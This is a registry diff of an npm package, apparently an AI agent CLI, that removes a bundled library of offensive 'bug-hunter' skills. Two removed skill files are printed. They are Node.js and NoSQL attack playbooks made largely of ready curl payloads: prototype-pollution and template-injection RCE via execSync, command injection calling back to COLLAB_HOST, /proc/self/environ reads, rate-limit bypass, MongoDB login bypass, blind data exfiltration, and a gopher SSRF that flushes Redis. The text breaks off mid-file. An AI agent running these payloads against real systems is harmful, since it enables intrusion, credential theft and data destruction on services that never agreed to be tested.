@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/bug-hunter/SKILL.md +7 -0
- package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
- package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
- package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
- package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
- package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
- package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
- package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
- package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
- package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
- package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
- package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
- package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
- package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
- package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
- package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
- package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
- package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
- package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
- package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
- package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
- package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
- package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
- package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
- package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
- package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
- package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
- package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
- package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
- package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
- package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
- package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
- package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
- package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
- package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
- package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
- package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
- package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
- package/cli.js +1 -1
- package/package.json +2 -2
- package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
- package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
- package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
- package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
- package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
- package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
- package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
- package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
- package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
- package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
- package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
- package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
- package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
- package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
- package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
- package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
- package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
- package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
- package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
- package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
- package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
- package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
- package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
- package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
- package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
- package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
- package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
- package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
- package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
- package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
- package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
- package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
- package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
- package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
- package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
- package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
- package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
- package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
- package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
- package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
- package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
- package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
- package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
- package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
- package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
- package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
- package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
- package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
- package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
- package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
- package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
- package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
- package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
- package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
- package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
- package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
- package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
- package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
- package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
- package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
- package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
- package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
- package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
- package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
- package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
- package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
- package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
- package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
- package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
- package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
- package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
- package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
- package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
- package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
- package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
- package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
- package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
- package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
- package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
- package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
- package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
- package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
- package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
- package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
- package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
- package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
- package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
- package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
- package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
- package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
- package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
- package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
- package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
- package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
- package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
- package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
- package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
- package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
- package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
- package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
- package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
- package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
|
@@ -1,219 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-nodejs
|
|
3
|
-
description: Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.
|
|
4
|
-
sources: hackerone_public, snyk_research, portswigger_research
|
|
5
|
-
report_count: 24
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-NODEJS — Node.js Specific Vulnerabilities
|
|
9
|
-
|
|
10
|
-
## Crown Jewel Targets
|
|
11
|
-
|
|
12
|
-
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
|
|
13
|
-
|
|
14
|
-
**Highest-value chains:**
|
|
15
|
-
- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink
|
|
16
|
-
- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits
|
|
17
|
-
- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`
|
|
18
|
-
- **`child_process` injection** — user input interpolated into shell command string → OS command injection
|
|
19
|
-
- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS
|
|
20
|
-
|
|
21
|
-
---
|
|
22
|
-
|
|
23
|
-
## Attack Surface Signals
|
|
24
|
-
|
|
25
|
-
```
|
|
26
|
-
X-Powered-By: Express Confirms Express.js
|
|
27
|
-
Node.js in error messages Runtime detected
|
|
28
|
-
package.json exposed Dependency list + versions
|
|
29
|
-
/proc/self/environ accessible Environment variable exfil
|
|
30
|
-
Error stack traces with .js paths Node.js confirmed
|
|
31
|
-
__proto__ in JSON accepted Prototype pollution candidate
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
---
|
|
35
|
-
|
|
36
|
-
## Phase 1 — Fingerprint
|
|
37
|
-
|
|
38
|
-
```bash
|
|
39
|
-
# Confirm Node.js/Express
|
|
40
|
-
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
|
|
41
|
-
|
|
42
|
-
# Check for package.json / node_modules exposure
|
|
43
|
-
curl -s "https://$TARGET/package.json"
|
|
44
|
-
curl -s "https://$TARGET/package-lock.json"
|
|
45
|
-
curl -s "https://$TARGET/node_modules/.package-lock.json"
|
|
46
|
-
|
|
47
|
-
# Error-based version detection
|
|
48
|
-
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
---
|
|
52
|
-
|
|
53
|
-
## Phase 2 — Prototype Pollution Detection
|
|
54
|
-
|
|
55
|
-
```bash
|
|
56
|
-
# JSON body injection — test if __proto__ is accepted
|
|
57
|
-
curl -s -X POST https://$TARGET/api/merge \
|
|
58
|
-
-H "Content-Type: application/json" \
|
|
59
|
-
-d '{"__proto__": {"polluted": "yes"}}'
|
|
60
|
-
|
|
61
|
-
# Constructor prototype
|
|
62
|
-
curl -s -X POST https://$TARGET/api/settings \
|
|
63
|
-
-H "Content-Type: application/json" \
|
|
64
|
-
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
|
|
65
|
-
|
|
66
|
-
# URL query param injection (qs library)
|
|
67
|
-
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
|
|
68
|
-
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
|
|
69
|
-
|
|
70
|
-
# Confirm pollution: does a subsequent request reflect the polluted key?
|
|
71
|
-
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
|
|
72
|
-
```
|
|
73
|
-
|
|
74
|
-
---
|
|
75
|
-
|
|
76
|
-
## Phase 3 — Prototype Pollution → RCE Chain
|
|
77
|
-
|
|
78
|
-
```bash
|
|
79
|
-
# If pollution is confirmed, attempt to reach dangerous sinks
|
|
80
|
-
|
|
81
|
-
# Sink 1: child_process via options.shell pollution
|
|
82
|
-
curl -s -X POST https://$TARGET/api/update \
|
|
83
|
-
-H "Content-Type: application/json" \
|
|
84
|
-
-d '{
|
|
85
|
-
"__proto__": {
|
|
86
|
-
"shell": "node",
|
|
87
|
-
"NODE_OPTIONS": "--require /proc/self/fd/0",
|
|
88
|
-
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
|
|
89
|
-
}
|
|
90
|
-
}'
|
|
91
|
-
|
|
92
|
-
# Sink 2: lodash template pollution (CVE-2021-23337)
|
|
93
|
-
curl -s -X POST https://$TARGET/api/render \
|
|
94
|
-
-H "Content-Type: application/json" \
|
|
95
|
-
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
|
|
96
|
-
|
|
97
|
-
# Sink 3: ejs template options pollution
|
|
98
|
-
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
|
|
99
|
-
curl -s -X POST https://$TARGET/api/template \
|
|
100
|
-
-H "Content-Type: application/json" \
|
|
101
|
-
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
|
|
102
|
-
|
|
103
|
-
# OOB confirmation — check Interactsh for callback
|
|
104
|
-
```
|
|
105
|
-
|
|
106
|
-
---
|
|
107
|
-
|
|
108
|
-
## Phase 4 — Express Trust Proxy Abuse
|
|
109
|
-
|
|
110
|
-
```bash
|
|
111
|
-
# If Express has trust proxy enabled, X-Forwarded-For is trusted
|
|
112
|
-
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
|
|
113
|
-
|
|
114
|
-
# Spoof IP to 127.0.0.1 (localhost bypass)
|
|
115
|
-
curl -s -X POST https://$TARGET/api/admin/action \
|
|
116
|
-
-H "X-Forwarded-For: 127.0.0.1" \
|
|
117
|
-
-H "Content-Type: application/json" \
|
|
118
|
-
-d '{"action": "test"}'
|
|
119
|
-
|
|
120
|
-
# Spoof to internal IP range
|
|
121
|
-
curl -s -X POST https://$TARGET/api/internal \
|
|
122
|
-
-H "X-Forwarded-For: 10.0.0.1" \
|
|
123
|
-
-H "X-Real-IP: 10.0.0.1"
|
|
124
|
-
|
|
125
|
-
# Rate limit bypass via rotating fake IPs
|
|
126
|
-
for i in $(seq 1 50); do
|
|
127
|
-
curl -s https://$TARGET/api/login \
|
|
128
|
-
-H "X-Forwarded-For: 1.2.3.$i" \
|
|
129
|
-
-d '{"email":"admin@test.com","password":"wrong"}' \
|
|
130
|
-
-o /dev/null -w "$i: %{http_code}\n"
|
|
131
|
-
done
|
|
132
|
-
```
|
|
133
|
-
|
|
134
|
-
---
|
|
135
|
-
|
|
136
|
-
## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
|
|
137
|
-
|
|
138
|
-
```bash
|
|
139
|
-
# EJS SSTI — if user input reaches EJS template context
|
|
140
|
-
# Test basic: <%= 7*7 %> should return 49
|
|
141
|
-
curl -s -X POST https://$TARGET/api/render \
|
|
142
|
-
-H "Content-Type: application/json" \
|
|
143
|
-
-d '{"template": "<%= 7*7 %>"}'
|
|
144
|
-
|
|
145
|
-
# EJS RCE payload
|
|
146
|
-
curl -s -X POST https://$TARGET/api/render \
|
|
147
|
-
-H "Content-Type: application/json" \
|
|
148
|
-
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
|
|
149
|
-
|
|
150
|
-
# Pug SSTI
|
|
151
|
-
curl -s -X POST https://$TARGET/api/render \
|
|
152
|
-
-H "Content-Type: application/json" \
|
|
153
|
-
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
|
|
154
|
-
|
|
155
|
-
# Handlebars — prototype pollution via template
|
|
156
|
-
curl -s -X POST https://$TARGET/api/render \
|
|
157
|
-
-H "Content-Type: application/json" \
|
|
158
|
-
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
|
|
159
|
-
```
|
|
160
|
-
|
|
161
|
-
---
|
|
162
|
-
|
|
163
|
-
## Phase 6 — child_process Command Injection
|
|
164
|
-
|
|
165
|
-
```bash
|
|
166
|
-
# Look for endpoints that run shell commands with user input
|
|
167
|
-
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
|
|
168
|
-
|
|
169
|
-
# Basic injection test
|
|
170
|
-
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
|
|
171
|
-
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
|
|
172
|
-
curl -s -X POST https://$TARGET/api/exec \
|
|
173
|
-
-H "Content-Type: application/json" \
|
|
174
|
-
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
|
|
175
|
-
|
|
176
|
-
# OOB via DNS
|
|
177
|
-
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
|
|
178
|
-
```
|
|
179
|
-
|
|
180
|
-
---
|
|
181
|
-
|
|
182
|
-
## Phase 7 — /proc/self/environ Exfil
|
|
183
|
-
|
|
184
|
-
```bash
|
|
185
|
-
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
|
|
186
|
-
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
|
|
187
|
-
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
|
|
188
|
-
|
|
189
|
-
# Also check:
|
|
190
|
-
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
|
|
191
|
-
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
|
|
192
|
-
```
|
|
193
|
-
|
|
194
|
-
---
|
|
195
|
-
|
|
196
|
-
## Chain Table
|
|
197
|
-
|
|
198
|
-
| Node.js finding | Chain to | Impact |
|
|
199
|
-
|----------------|----------|--------|
|
|
200
|
-
| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
|
|
201
|
-
| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
|
|
202
|
-
| SSTI in template engine | OS command execution | Critical RCE |
|
|
203
|
-
| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |
|
|
204
|
-
| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
|
|
205
|
-
|
|
206
|
-
---
|
|
207
|
-
|
|
208
|
-
## Validation
|
|
209
|
-
|
|
210
|
-
✅ Prototype pollution: key appears in subsequent API responses without being sent
|
|
211
|
-
✅ RCE chain: OOB callback received OR `id` output in response
|
|
212
|
-
✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
|
|
213
|
-
|
|
214
|
-
**Severity:**
|
|
215
|
-
- Prototype pollution → RCE: Critical
|
|
216
|
-
- SSTI → RCE: Critical
|
|
217
|
-
- child_process injection: Critical
|
|
218
|
-
- Trust proxy → rate limit bypass: Medium
|
|
219
|
-
- /proc/self/environ exfil: High (if cloud keys present)
|
|
@@ -1,166 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-nosqli
|
|
3
|
-
description: Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
|
|
4
|
-
sources: hackerone_public
|
|
5
|
-
report_count: 14
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-NOSQLI — NoSQL Injection
|
|
9
|
-
|
|
10
|
-
## Crown Jewel Targets
|
|
11
|
-
|
|
12
|
-
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
|
|
13
|
-
|
|
14
|
-
**Highest-value chains:**
|
|
15
|
-
- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
|
|
16
|
-
- **$where JS injection** — if $where is enabled: blind injection → data exfil
|
|
17
|
-
- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
|
|
18
|
-
- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE
|
|
19
|
-
|
|
20
|
-
---
|
|
21
|
-
|
|
22
|
-
## Attack Surface Signals
|
|
23
|
-
|
|
24
|
-
### URL & Param Patterns
|
|
25
|
-
```
|
|
26
|
-
/api/users/login POST with JSON body
|
|
27
|
-
/api/search?q=
|
|
28
|
-
/api/find?filter=
|
|
29
|
-
/api/query?where=
|
|
30
|
-
Any endpoint accepting JSON body with username/password
|
|
31
|
-
```
|
|
32
|
-
|
|
33
|
-
### Stack Signals
|
|
34
|
-
| Signal | Vector |
|
|
35
|
-
|--------|--------|
|
|
36
|
-
| MongoDB error messages in response | Operator injection |
|
|
37
|
-
| mongoose / monk in JS bundles | ODM patterns |
|
|
38
|
-
| X-Powered-By: Express | Node.js + MongoDB common stack |
|
|
39
|
-
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
|
|
40
|
-
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
|
|
41
|
-
| Elasticsearch :9200 open | Script injection |
|
|
42
|
-
|
|
43
|
-
---
|
|
44
|
-
|
|
45
|
-
## Step-by-Step Hunting Methodology
|
|
46
|
-
|
|
47
|
-
### Phase 1 — Auth Bypass (MongoDB)
|
|
48
|
-
```bash
|
|
49
|
-
# Operator injection in JSON body
|
|
50
|
-
curl -s -X POST https://$TARGET/api/login \
|
|
51
|
-
-H "Content-Type: application/json" \
|
|
52
|
-
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
|
|
53
|
-
|
|
54
|
-
# Regex wildcard — match any username
|
|
55
|
-
curl -s -X POST https://$TARGET/api/login \
|
|
56
|
-
-H "Content-Type: application/json" \
|
|
57
|
-
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
|
|
58
|
-
|
|
59
|
-
# ne (not equal) bypass
|
|
60
|
-
curl -s -X POST https://$TARGET/api/login \
|
|
61
|
-
-H "Content-Type: application/json" \
|
|
62
|
-
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
|
|
63
|
-
|
|
64
|
-
# in array bypass
|
|
65
|
-
curl -s -X POST https://$TARGET/api/login \
|
|
66
|
-
-H "Content-Type: application/json" \
|
|
67
|
-
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
|
|
68
|
-
```
|
|
69
|
-
|
|
70
|
-
### Phase 2 — URL Parameter Injection
|
|
71
|
-
```bash
|
|
72
|
-
# Array notation (Express/PHP-style)
|
|
73
|
-
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
|
|
74
|
-
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
|
|
75
|
-
|
|
76
|
-
# POST form data
|
|
77
|
-
curl "https://$TARGET/api/login" \
|
|
78
|
-
--data "username[$gt]=&password[$gt]="
|
|
79
|
-
```
|
|
80
|
-
|
|
81
|
-
### Phase 3 — $where Blind Injection (time-based)
|
|
82
|
-
```bash
|
|
83
|
-
# Test if $where is enabled (time-based detection, 5s delay)
|
|
84
|
-
curl -s -X POST https://$TARGET/api/search \
|
|
85
|
-
-H "Content-Type: application/json" \
|
|
86
|
-
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
|
|
87
|
-
# If response takes 5+ seconds → $where injection confirmed
|
|
88
|
-
|
|
89
|
-
# Blind data exfil (username starts with 'a'?)
|
|
90
|
-
curl -s -X POST https://$TARGET/api/search \
|
|
91
|
-
-H "Content-Type: application/json" \
|
|
92
|
-
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
|
|
93
|
-
```
|
|
94
|
-
|
|
95
|
-
### Phase 3b — Syntax injection into a concatenated `$where`/query (string context)
|
|
96
|
-
When the app concatenates input into a JS `$where` STRING (`"this.name=='"+input+"'"`) instead of accepting an operator object, break the string rather than passing `$gt`/`$ne`. Fuzz first, then break:
|
|
97
|
-
```
|
|
98
|
-
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
|
|
99
|
-
' || '1'=='1 # always-true (string-context breakout)
|
|
100
|
-
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
|
|
101
|
-
```
|
|
102
|
-
(PortSwigger: Injecting syntax into NoSQL queries.)
|
|
103
|
-
|
|
104
|
-
### Phase 4 — Data Dump via Regex
|
|
105
|
-
```bash
|
|
106
|
-
# Enumerate usernames character by character
|
|
107
|
-
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
|
|
108
|
-
RESP=$(curl -s -X POST https://$TARGET/api/users \
|
|
109
|
-
-H "Content-Type: application/json" \
|
|
110
|
-
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
|
|
111
|
-
echo "$c: $(echo $RESP | wc -c)"
|
|
112
|
-
done
|
|
113
|
-
```
|
|
114
|
-
|
|
115
|
-
### Phase 5 — Automation
|
|
116
|
-
```bash
|
|
117
|
-
# nosqlmap
|
|
118
|
-
pip3 install nosqlmap
|
|
119
|
-
nosqlmap -u "https://$TARGET/api/login" --attack 1
|
|
120
|
-
|
|
121
|
-
# nosqlmap data extraction
|
|
122
|
-
nosqlmap -u "https://$TARGET/api/login" --attack 2
|
|
123
|
-
```
|
|
124
|
-
|
|
125
|
-
### Phase 6 — Redis via SSRF
|
|
126
|
-
```bash
|
|
127
|
-
# If SSRF found, probe internal Redis via gopher://
|
|
128
|
-
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
|
|
129
|
-
|
